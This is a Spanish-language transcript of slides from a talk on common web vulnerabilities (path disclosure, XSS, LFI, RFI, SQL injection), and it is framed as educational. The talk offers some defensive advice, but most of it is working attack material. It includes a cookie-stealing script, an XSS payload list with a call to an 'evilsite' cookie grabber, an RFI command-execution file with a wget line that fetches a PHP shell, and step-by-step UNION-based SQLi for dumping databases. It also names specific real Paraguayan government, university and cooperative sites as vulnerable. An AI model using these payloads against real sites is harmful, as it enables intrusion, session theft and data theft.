Errores comunes al desarrollar websites SEGURIDAD WEB.

Post on 12-Jan-2015

21 views 5 download

Transcript of Errores comunes al desarrollar websites SEGURIDAD WEB.

Errores comunes al desarrollar websites

SEGURIDAD WEB

Si, aprenderemos a hackear sitios web, no obstante..

Advertencia:

Utilizaremos sitios webs “reales” para mostrar sus vulnerabilidades, sólo con fines educativos.

No se va a defacear ningún sitio durante esta charla, simplemente testearlos y ver sus agujeros de seguridad.

¿APRENDEREMOS A HACKEAR SITIOS WEB?

Requisitos

Temática de la charla

ANTES DE EMPEZAR

¿Ya han sido hackeados?

PREGUNTA

• Full Path Disclosure - FPD

• Cross-site Scripting – XSS

• Local File Inclusion – LFI

• Remote File Inclusion – RFI

• SQL Injection - SQLi

TIPOS DE VULNERABILIDADES

FULL PATH DISCLOSURE - FPD• Vulnerabilidad que permite al “atacante” ver el path absoluta donde se encuentra el sitio

web. Ejemplo: /home/usuario_victima/public_html/

• Peligrosidad baja, no obstante, combinado con otros tipos de vulnerabilidades como LFI o SQLi se vuelve interesante

• ¿Cómo conseguirlo?

• Manipulación de parámetros, ya sea $_GET, $_POST, Cookies

• Investigando en buscadores como Google

• ¿Qué podemos hacer con el path obtenido?

• Podemos identificar el posible usuario FTP, para intentar conseguir ingresar por FTP con método de fuerza bruta. Aplicación de fuerza bruta: Bruter

• Combinar con LFI o SQLi para lograr incluir efectivamente archivos o hacer dump de la base de datos

FULL PATH DISCLOSURE - FPD• ¿Cómo prevenirlo?

Principalmente, deshabilitando que se muestren los errores

php.ini:

• display_errors = "off"

httpd.conf/apache2.conf:

• display_errors off php_flag

Script PHP:

• ini_set ('display_errors', false);

Además, controlando que estén seteadas las variables antes de utilizarlas, controlar que exista archivos antes de incluirlos, validación de variables. Con el primer paso ya basta, ya que no se mostrará nada, no obstante no está de más aplicar esto por recomendaciones de buena programación

EJEMPLO- FPD• Buscamos en Google warning inurl:gov.py filetype:php

• En este caso buscamos warning en sitios del gobierno de paraguay, pero podemos utilizar otras variantes, como ser: Fatal error, Notice, undefined function, etc

CROSS-SITE SCRIPTING – XSS• Vulnerabilidad que permite al “atacante” inyectar código que será interpretado en el

cliente, como ser JavaScript, VBScript, HTML, CSS.

• Podemos lograr:

• Hacer phishing

• Robo de cookies

• Deface via JS

• ¿Cómo podemos evitarlo?

• Controlando antes de mostrar algún dato dinámico, por ejemplo en PHP con el uso de la función htmlentities(), que remplaza los caracteres especiales por su equivalente de HTML

ROBO DE COOKIESEn el sitio atacado:

• Publicar el siguiente código:<script> window.open("http://localhost/sitio2/cookie.php?cookies="+document.cookie); </script>

En nuestro sitio:

• Crear un archivo cookie.php en el cual:

• Obtenemos la variable $_GET[‘cookies’]

• La enviamos a nuestro e-mail

• Escribimos en un archivo de texto

• Insertamos en una base de datos

• Mostramos un mensaje al usuario para confundirlo, como ser:

• “En este momento la página se encuentra en mantenimiento. Favor intentar en 10 minutos”

EJEMPLOS DE XSS<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;URL=http://;URL=javascript:alert('XSS');\">

<META HTTP-EQUIV=\"refresh\"CONTENT=\"0;url=javascript:alert('XSS');\">

'">><marquee><h1>XSS</h1></marquee>

'">><script>alert('XSS')</script>

'>><marquee><h1>XSS</h1></marquee>

"><script alert(String.fromCharCode(88,83,83))</script>

<iframe<?php echo chr(11)?> onload=alert('XSS')></iframe>

<div style="x:expression((window.r==1)?'':eval('r=1;alert(String.fromCharCode(88,83,83));'))">

window.alert("Xyli !");

"/></a></><img src=1.gif onerror=alert(1)>

[color=red' onmouseover="alert('xss')"]mouse over[/color]

<body onLoad="alert('XSS');"

<body onunload="javascript:alert('XSS');">

[url=javascript:alert('XSS');]click me[/url]

<script language="JavaScript">alert('XSS')</script>

<img src="javascript:alert('XSS')">

'); alert('XSS

<font style='color:expression(alert(document.cookie))'>

<IMG DYNSRC=\"javascript:alert('XSS')\">

<IMG LOWSRC=\"javascript:alert('XSS')\">

</textarea><script>alert(/xss/)</script>

</title><script>alert(/xss/)</script>

<script src=http://yoursite.com/your_files.js></script>

"><script>alert(0)</script>

<IMG src=javascript:alert(String.fromCharCode(88,83,83))>

<marquee><script>alert('XSS')</script></marquee>

<style>@import'javascript:alert(\"XSS\")';</style>

<img src=foo.png onerror=alert(/xssed/) />

<script>alert(String.fromCharCode(88,83,83))</script>

<script src="http://www.evilsite.org/cookiegrabber.php"></script>

Local FILE INCLUSION – LFI• Vulnerabilidad que permite al “atacante” mediante la manipulación de parámetros $_GET,

$_POST incluir archivos ya existentes en el servidor, los cuales no son propios de la app.

<?PHP include $_GET[‘pagina’]; // Se puede aplicar LFI ?>

• Podemos lograr:

• Ver archivos del sistema, como /etc/passwd, /etc/group

• Inclusión de archivos con código malicioso previamente insertado

• Forzar archivos de la app, si posee un sistema de descarga con bug LFI

• ¿Cómo podemos evitarlo?

• Se lo puede evitar seleccionando qué archivos específicamente pueden ser mostrados, de tal manera que si el archivo solicitado no está en la lista, no se podrá acceder a él.

SITIOS A TESTEAR LFIMostrando archivos del sistema

• Senado - SIL - Sistema de Información Legislativahttp://www.senado.gov.py/silpy/

• Indert - Instituto Nacional de Desarrollo Rural y de la Tierrahttp://www.indert.gov.py/

• CeConsult - Centro de Consultoreshttp://www.ceconsult.com.py/

• Cooperativa Coofy LTDAhttp://www.coofy.coop.py/

* Las URL con la vulnerabilidad demostrada en el evento fueron suprimidos, se mostraron sólo con fines educativos

SITIOS A TESTEAR LFIBajando archivos de la APP

• Cooperativa San Cristobal:http://www.sancristobal.coop.py/

• CNCSP - Cámara Nacional de Comercio y Servicios de Paraguaywww.ccparaguay.com.py/

• TSJE – Tribunal Superior de Justicia Electoralhttp://www.tsje.gov.py/

* Las URL con la vulnerabilidad demostrada en el evento fueron suprimidos, se mostraron sólo con fines educativos

REMOTE FILE INCLUSION – RFI• Es una vulnerabilidad que sólo se da en PHP, consiste en la inclusión de archivos

remotos (que se encuentran en otros servidores) mediante “include”. No se da en ASP.

• Para que funcione debe estar habilitado url_allow_include

• ¿Qué podemos lograr?

• Inclusión de archivos remotos para ejecución de codigo malicioso

• ¿Cómo lograrlo?

http://[servidor_victima]/index.php?pagina=http://[servidor_atacante]/cmd.txt&&cmd=ls

En el archivo cmd.txt tenemos el código <?php exec($_GET[‘cmd’]);?>

Se puede utiilizar exec(), shell_exec(), system(), passthru()

Lo cual nos permitirá la ejecución de comandos, como por ejemplo descargar un phpshell

<?php passthru('wget http://localhost/sitio2/c99.txt -O shell.php');?>

SQL INJECTION - SQLI• Vulnerabilidad en la cual el atacante inserta código SQL para obtención de datos de la DB

• Ingresar al administrador:

• Colocamos:

• Usuario: ’ or 1 = 1 -- (siempre se cumplira)

• Password:

• Debería ingresar al administrador si posee SQLi ya que la condición insertada siempre se cumplirá y el resto está comentado

• Select * from usuario where usuario = ‘’ or 1 = 1 – ‘and pass = ‘’

SQL INJECTION - SQLI• Si el login no tiene vulnerabilidad SQLi tenemos otras opciones

• Pasos:

• Identificar agujero, http://localhost/sitio1/index.php?id=1 ejemplo ingresando:

• 1 and 1 = 1 -- (true) ó 1‘ and 1 = 1 --

• 1 and 1 = 0 -- (false) ó 1‘ and 1 = 0 –

• El comportamiento de la injección and 1 = 1-- y and 1 = 0 -- debería mostrar un comportamiento distinto respecto a lo que se muestra en la página, ya que lo primero siempre se cumple, y lo segundo nunca se cumple.

• Donde dice – se puede usar también #, es para comentar todo lo que pueda haber luego. Ejemplo:

• Select id, titulo, contenido from articulos where id = 1 and estado = 1

• Select id, titulo, contenido from articulos where id = 1 and 1 = 1 – and estado = 1

PASOS PARA OBTENER DATOS - SQLI• Obtener la cantidad de columnas que afecta el query donde queremos injectar código

SQL

• Obtener tablas

• Obtener columnas de tablas

• Obtener datos deseados

• Crear archivo con código malicioso para luego subir PHPShell (* Opcional )

OBTENER CANTIDAD DE COLUMNAS- SQLI• select id, titulo, contenido from articulos where id =1 and estado = 1

• Insertamos SQL

• select id, titulo, contenido from articulos where id =1 union select 1 -- and estado = 1

• Vamos agregando datos al select hasta que deje de dar error, o no muestre en blanco, o hasta que muestre el contenido como si no hubiésemos hecho la inyección

• select id, titulo, contenido from articulos where id =1 union select 1,2 -- and estado = 1

• select id, titulo, contenido from articulos where id =1 union select 1,2 -- and estado = 1

• select id, titulo, contenido from articulos where id =1 union select 1,2,3 -- and estado = 1

• En este último caso igualamos la cantidad de columnas, lo cual ya no debería darnos error SQL y deberíamos ver el contenido normal, entonces en este punto necesimamos que solo se muestre nuestro query y no lo primero, para esto debemos aplicar and 1 = 0

• select id, titulo, contenido from articulos where id =1 and 1 = 0 union select 1,2,3 -- and estado = 1

• Veremos entonces en la página algunos de los datos 1, 2 o 3

OBTENIENDO INFORMACIÓN DE LA DB• select user(),database(),version(),connection_id()

• Ejemplo en la URL

• http://sitio.com/index.php?id=id=-1 union select concat(user(), 0x3a, database(), 0x3a, version(), connection_id(), 0x3a),2,3,4--

OBTENIENDO TABLAS• select table_name from information_schema.tables limit 10,1

• Remplazar el 10 por el offset deseado, debemos poner 1,1; luego 1,2; luego 1,3 hasta encontrar una tabla que nos interese, por ejemplo “usuarios” en 50,1

• Ejemplo en la URL

• http://sitio.com/index.php?id=1 and 1= 0 union select table_name,2,3,4 from information_schema.tables limit 50,1--

• Otra opción. Agrupando las tablas.

• select group_concat(table_name) from information_schema.tables

• Esquema específico

• select table_name from information_schema.tables where table_schema = ‘nombre_db‘

• Listar tablas exceptuando las de MySQL

• SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'

OBTENIENDO COLUMNAS• select column_name from information_schema.columns where table_name = ‘usuarios’

and table_column like ‘A’

• Si se escapa la comilla ‘, la variante es pasar el string a ASCII:

• select column_name from information_schema.columns where table_name=char(117,115,101,114,115)

• También podemos agregar filtro de columna

• select column_name from information_schema.columns where table_name = ‘usuarios’ and table_column like ‘A’

• Ejemplo en la URL

• http://sitio.com/index.php?id=1 and 1= 0 union select column_name,2,3,4,5,6 from information_schema.columns where table_name=char(117,115,101,114,115)--

• Otra opción

• select group_concat(table_name) from information_schema.tables

SITIOS A TESTEAR SQL INJECTIONOBTENIENDO USUARIO Y BASE DE DATOS DE LA APP– Envío por GET

• ANR – Asociación Nacional Republicanahttp://www.anr.org.py/

• UNIDA - Universidad de la Integración de las Américashttp://www.unida.edu.py/

• Universidad Católica Nuestra Señora de la Asunción:http://www.uca.edu.py/

• Cooperativa COOMECIPARhttp://www.coomecipar.coop.py/

• SIF AMERICA S.A.http://www.sif.com.py/

* Las URL con la vulnerabilidad demostrada en el evento fueron suprimidos, se mostraron sólo con fines educativos

SITIOS A TESTEAR SQL INJECTIONOBTENIENDO USUARIO Y BASE DE DATOS DE LA APP – Envío por POST

• SENADOhttp://www.senado.gov.py/

* Las URL con la vulnerabilidad demostrada en el evento fueron suprimidos, se mostraron sólo con fines educativos

¿Preguntas?

Conclusión• Sitios a los que encontramos agujeros de seguridad efectivamente:

• Sitios del Gobiernos

• www.senado.gov.py, www.indert.gov.py, www.tsje.gov.py

• Universidades Privadas

• www.uca.edu.py, www.unida.edu.py

• Cooperativas

• www.sancristibal.coop.py, www.coomecipar.coop.py

• Otras instituciones

• www.anr.gov.py. www.sif.com.py, www.ccparaguay.com.py

Contacto• Fernando Goetz

• Twitter

• http://twitter.com/fernandogoetz

• E-mail

• fenandogoetz@gmail.com

* Las consultas son bienvenidas.